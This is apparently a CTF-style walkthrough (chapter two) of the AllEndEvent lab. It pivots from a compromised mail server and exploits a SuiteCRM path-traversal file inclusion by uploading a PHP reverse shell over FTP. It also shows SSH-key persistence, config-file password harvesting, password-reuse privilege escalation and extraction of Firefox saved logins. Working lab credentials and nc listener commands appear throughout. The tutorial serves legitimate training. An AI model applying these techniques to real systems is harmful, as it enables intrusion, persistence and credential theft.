Page cover image

Chapter II

Second part of the walkthrough-series for the AllEndEvent pentest challenge.

If you have previously shut it down, remember to reset the mail server to its initial state. You can verify that the server is up and running when the website loads. Alternatively, use the root credentials to log in and use the command su zimbra followed by zmcontrol status. Should you encounter any issues, try another reset or re-import the VM. The other two servers are more resilient to forced shut-downs.

Quick Recap - Perequisites

Information that we've already gotten our hands on:

  • root access on mail.allendevent.com (10.0.5.6)

  • FTP credentials for allendevent.com (10.0.5.8)

    • webdev:W3bD3vs4r34m4z!nG2023

  • Credentials for crm.allendevent.com

    • mshea:AllendeventIsTheBest1!

    • CRM (customer relationship management) was also mentioned on the allendevent.com website

Internal Network Enumeration

Since we already got full access to one server, let's see if we gained any additional reach.

Inspecting the network interfaces reveals a second network adapter. mail.allendvent.com is dual-homed and acquired the IP 10.0.10.10/24 which is part of the internal AllEndEvent network.

Using basic bash commands we can start scanning the internal network for additional machines.

ip="10.0.10.";for i in {1..254}; do timeout 1 bash -c "ping -c 1 $ip$i | grep ttl 2>/dev/null >&2 && echo -e \"\e[K$ip$i\"" || printf "Scanning $ip$i\r"; done

The above command basically calls ping -c 1 $ip for every ip in the range of 10.0.10.0/24 and prints the IP if the target responds.

This technique is called "living off the land" as we are leveraging existing tools on the server to conduct scanning. It may not be pretty or fast, but it gets the job done.

Three IPs seem to be alive in the internal network, one of which is the mail server. This leaves one of the other IP addresses for the internal network adapter of the web server. I will leave it as an exercise to the reader to use other living-off-the-land or pivoting techniques for determining which server is the right one. The easiest one being a simple FTP connection attempt to each.

Once we identified 10.0.10.20 as the internal address of the web server, we won't be able to do much with it. We can upload files to what appears to be webdev's home directory, but that's about it. We'll put that in our notes and continue enumeration.

We got internal FTP acess to the web server.

Continued Web Server Enumeration

Earlier we discovered an additional subdomain of allendevent.com: crm.allendevent.com. Let's see if there's an externally reachable domain by that name on the web server. We add the subdomain to our /etc/hosts and see if anything new pops up.

Indeed, a SuiteCRM login panel appears.

But we got something for that in our notes! Remember the mail from Margaret Shea - the sales lady - who had her password reset. Maybe she didn't choose a new one yet. Let's try the found combination.

  • User: mshea

  • Password: AllendeventIsTheBest1!

It seems we should definitely remind AllEndEvent to enforce a more strict password policy. For now we will continue enumeration though. After doing some research on SuiteCRM, what it is and what it does, let's check the installed version. Here it's a little bit easier than with Zimbra.

We identified a SuiteCRM v7.12.8 - and we got user access.

Equipped with a software name and version number, we are going to repeat looking for known vulnerabilities.

The above shows the first result on Google for "SuiteCRM CVE". CVE Details is a site that collects CVEs and let's you search through them by type and severity, among other things.

Your results may differ. New vulnerabilities will be released as time progresses.

The two CVEs at the top look promising. The base score of 6.5 seems rather low for code execution, but that's due to the fact that an authenticated user is required for exploitation. However, neither version matches.

There's a good chance that you will find another authenticated RCE on this list. One that matches the installed version. During the time of writing though, no CVE has been assigned to it yet.

As we did with Zimbra before, an alternative way to check for vulnerabilities is to look at the security advisories.

As we can see, there's a newer version with quite a lot of security fixes out there. However, SuiteCRM is keeping quiet about any details for now. Once CVEs have been released, they'll be populated with references to the report details.

We got two options here. Either we wait for the release of the details, read a write-up and use available exploits or we dig deeper ourselves. The latter is definitely more time consuming but also more fun.

Update: The vulnerability has now been released under CVE-2023-1034. Steps for finding a path to exploitation without a public CVE record were previously redacted but can now be accessed below.

Vulnerability Research

I won't dive into all the details here, because that's what you can actually find in the report once it's released. For the sake of showcasing the exploit though, I'll cover the important steps.

First, SuiteCRM is open source, so we find their code on GitHub.

Looking at the commits between 7.12.8 and 7.12.9, we'll have to find the ones that might be related to security issues. Let's not pretend - this is a very tedious task. Even with just the few commits, there are a lot of changes. However, important security fixes tend to trigger a new release immediately, so it's a good idea to check the latest commits first.

Opening SuiteCRM 7.12.9 Release shows "Showing 21 changed files with 339 additions and 95 deletions." on GitHub. That's a lot to look through.

Well, looks like we found the possible SQL injection that was mentioned. But that's actually not even the intended vulnerability. Bonus points!

Cutting to the chase, we find this:

Seems like module was previously unsanitised and is now being checked to only consist of letters, dashes, underscores and dots. Let's see why they might have done that.

This part involves a lot of source code review, but eventually we can trace the following path of module in v.7.12.8 before the changes.

// SubpanelCreates.php L44
// User controls target_module
$mod_strings = return_module_language($current_language, $_REQUEST['target_module']);
[...]
// utils.php L1422
// $module is still the user input
$loaded_mod_strings = LanguageManager::loadModuleLanguage($module, $language, $refresh);
[...]
// LanguageManager.php L268
// $module is still the user input
// $lang is "en_us" by default
$cachedfile = sugar_cached('modules/').$module.'/language/'.$lang.'.lang.php';
[...]
if (file_exists($cachedfile)) {
            global $mod_strings;

            require $cachedfile;
[...]

Now we can see why module is being sanitized in newer version. Because it's user input that is used to create a path for a require statement. Again, I won't get into too much theory here. Since we can pass anything via the $_REQUEST['target_module'] parameter, we can use path traversal to achieve local file inclusion. However, it's rather limited because the ending is fixed to /language/en_us.lang.php.

If we were able to upload a file called en_us.lang.php in a directory named language, we could probably get RCE by supplying a value like ../../../../../../../<path-to-language>/en_us.lang.php to the request parameter target_module.

Let's check our notes. Do we have some sort of file upload vulnerability in SuiteCRM? No we don't, but we got FTP access instead! The previous enumeration is paying off.

We identified a local file inclusion via path traversal that could lead to RCE by chaining it with a file upload.

Exploitation

Whether you got here by manual code review or CVE research, we're now ready for exploitation.

In order to properly access the internal FTP server, let's upgrade our previous reverse shell on the mail server to something fully interactive like SSH. This is also part of establishing persistence.

From the initial nmap scans we could see that port 22 was already open, but SSH was not running. Let's modify the configuration of SSH to allow root to log in and deploy an SSH key for easy access. The configuration file is at /etc/ssh/sshd_config.

# Make sure you got root privileges:
id
uid=997(zimbra) gid=994(zimbra) euid=0(root) egid=0(root) groups=0(root) context=system_u:system_r:initrc_t:s0
#                               ^^^^^^^^^^^^

# First, let's allow root to log in
# Use prohibit-password to only allow key access
# (Again, we do not want to create an even larger security hole.)
sed 's/#PermitRootLogin yes/PermitRootLogin prohibit-password/g' -i /etc/ssh/sshd_config

cd /root
mkdir .ssh
cd .ssh

#---------
# Now on Kali, let's create an SSH key pair
ssh-keygen
# I named my keys `root_mail` and `root_mail.pub` respectively

# Update the permissions on the private key
chmod 600 ./root_mail

# Now we upload the public key to the web server using python
python3 -m http.server
#---------

# Back on the web server
wget http://10.0.5.10:8000/root_mail.pub
mv root_mail.pub authorized_keys # Enable our key access on the web server

# Finally, start SSH (and enable it if you want persistence over reboot)
systemctl start sshd
systemctl enable sshd

# You can confirm that the SSH server is running with
systemctl status sshd

Let's try to connect via SSH with our private key.

With a stable and interactive shell, we're going to check out our FTP access. Instead of curl, we'll be using the ftp client though.

  • User: webdev

  • Password: W3bD3vs4r34m4z!nG2023

This does indeed look like the home directory of the webdev user. More interestingly though, webdev appears to be part of a system group with the id "48".

A quick Google search reveals that this ID usually belongs to the apache user, which is responsible for the web service.

Our hopes rise as we realise that the web user has read access to the same directory we have write access to. Let's move on with exploitation and create the necessary files. First, we need a reverse shell payload.

Using a second terminal, we upload a standard PHP reverse shell that's integrated with Kali.

# on Kali
scp -i root_mail /usr/share/webshells/php/php-reverse-shell.php root@mail.allendevent.com:/root/en_us.lang.php

Now we update the configuration of the reverse shell: nano en_us.lang.php on the mail server.

After we set the IP of Kali and chose a port, make sure to start a listener:

# on Kali
nc -nlvp 1337

Let's upload the reverse shell to the FTP server.

Now we're ready to trigger the LFI in SuiteCRM. Tracing back the function calls, we see that the target_module in SubpanelCreates.php is used whenever we create a note for a call. I'll leave it to you to find alternative injection points.

Let's modify the value of target_module to be:

../../../../../../home/webdev

Subsequently, send the request. Finally, we get a shell on the web server.

We successfully gained code execution as the low level web user apache on the web server.

Privilege Escalation

Being the web user is fine, but we're trying to get as much access as we possibly can. This means we're looking for ways to gain root access. Once again, there's lots of things to try. I recommend you practice your manual enumeration skills before using automated scripts like linpeas or exploit-suggester.

Since this is a web server with two websites set up, let's take a look at their configuration. Especially since both WordPress and SuiteCRM require databases to store user data, configuration files may very well contain the credentials to access them.

Using Google or manual research, we identify the following config files of interest:

  • wp-config.php in the WordPress installation directory

  • config.php in SuiteCRM's installation directory

  • The websites are installed in /var/www/html under allendevent.com and crm.allendevent.com respectively

We identified an additional set of cleartext credentials: wp-root:1Sh0uld5t4rtU51nGKeep455n0? and

crm-root:1H4t3MyJ0bL00lJustK1dd1ng!

Seems like the IT admin is not really content with his job - but that's none of our business.

Knowing that these credentials were likely created by the root user, let's see if he reused any of his passwords.

We should probably remind the IT administrator to not reuse credentials. At least it was not AllendeventIsTheBest1! though.

Password reuse finally gave us root access to the web server.

Before we move on to yet another phase of enumeration, we will establish persistence via SSH once more. This time we already got root's password but using keys is still the safe alternative.

  1. Allow root user to log in via SSH with keys (/etc/ssh/sshd_config)

  2. Upload the public key to /root/.ssh/ and add it to the authorized_keys (make sure the directory and file have the correct permissions: 700)

  3. Enjoy SSH Access

Enumeration

If you paid attention during the mail server, you'll remember that root access is worth enumerating again. In this case there are no stored credentials in the bash history, but we do find something similarly interesting.

.mozilla is usually created by the Firefox browser and contains all the browser data. This is definitely worth looking into. Let's extract the entire directory with scp and view it locally.

scp -r -i root_web root@allendevent.com:/root/.mozilla ./

# There's only one profile stored inside
firefox --profile ./.mozilla/firefox/hy16hc92.root --allow-downgrade

Well, besides looking at very important and beautiful cats for work, it seems that the root user (which is likely to be the single IT administrator) has also bookmarked a tutorial for setting up an NFS server.

A quick look at the open ports on the web server with ss -tlpn confirms, that there's no NFS running on the web server. There might be on the internal server though. But before we check that, let's take a look at the cached credentials: about:logins.

We identified credentials for http://wiki.allendevent.com:54321: admin:Kn33sW34kM0ms5paghett1

Now, wiki.allendevent.com is not inside the hosts file on the web server, but we can safely assume this to be the remaining server on the internal network: 10.0.10.30.

You may have discovered this hostname and website earlier already, if you thoroughly enumerated the internal network from the mail server. It has also been hinted at in the emails between James Hernandez and the manager.

This will be all for chapter II. In the next chapter we will continue on the internal network and exploit the final server.

Last updated